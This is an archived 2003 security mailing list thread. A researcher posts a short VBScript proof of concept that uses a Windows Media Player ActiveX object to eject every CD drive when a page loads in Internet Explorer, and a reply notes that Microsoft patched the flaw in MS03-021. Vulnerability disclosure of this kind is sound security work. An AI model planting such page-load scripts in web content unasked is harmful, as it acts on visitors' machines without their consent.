bugtraq - Re: Ejecting CDs with VBScript ( Online Exploit )

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Date: Sat, 11 Oct 2003 00:16:03 +0200
From: jelmer <jkuperus@...net.nl>
To: Lorenzo Hernandez Garcia-Hierro <lorenzohgh@...g-security.com>,
   full-disclosure@...ts.netsys.com
Cc: bugtraq@...urityfocus.com
Subject: Re: Ejecting CDs with VBScript ( Online Exploit )


they fixed it with MS03-021 alongside some other issues

http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/1765.html


----- Original Message ----- 
From: "Lorenzo Hernandez Garcia-Hierro" <lorenzohgh@...g-security.com>
To: <full-disclosure@...ts.netsys.com>
Cc: <bugtraq@...urityfocus.com>
Sent: Friday, October 10, 2003 11:12 PM
Subject: [Full-Disclosure] Ejecting CDs with VBScript ( Online Exploit )


> Hi friends,
> I'm not very happy with this , i have done an online test for eject cds in
a
> MS Internet Explorer
> and i have tested it in all the computers of my house but i was surprised
> when i checked that the
> last version of MSIE allows the execution of the script in the following
> sec. zones:
>             . LOCAL/INTRANET
>             . REMOTE/INTERNET
> I tested it in default values and the exploit is executed , i edited the
> values and again it was
> executed.
> Am i discovering a new vulnerability in MS Internet Explorer ?
> I'm not sure because there are lots of known holes in MSIE.
> Suggestions and help is completely welcome.
> The best regards,
> PS: This is the code of the exploit:
> -----------------
> <SCRIPT LANGUAGE=VBSCRIPT>
> rem --------------------------------------
> rem No Secure Root Group Security Research
> rem    Coder: Trulux / Lorenzo Hdez G-H
> rem --------------------------------------
> rem    http://www.nsrg-security.com
> rem --------------------------------------
> rem -> CREATE WINDOWS MEDIA PLAYER OBJECT
> rem -
> Set LARRYINTHEWILD = CreateObject("WMPlayer.OCX.7" )
> rem -
> rem -> SETTING SOME VARIABLES FOR EJECT CD UNITS
> rem -
> Set RIAAsaysBLAH = LARRYINTHEWILD.cdromCollection
> rem -
> rem -> EJECTING ROUTINE
> rem -
> if RIAAsaysBLAH.Count >= 1 then
> For i = 0 to RIAAsaysBLAH.Count - 1
> RIAAsaysBLAH.Item(i).Eject
> Next ' cdrom
> End If
> rem -> END
> </SCRIPT>
> --------------
>
> NOTE: i don't know if this is a known security hole  , if this was
> discovered before , i'm sorry ( and a little sad :-(  ).
> you can test it online:
> http://test-zone.nsrg-security.com/browser/msie/cdrom
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html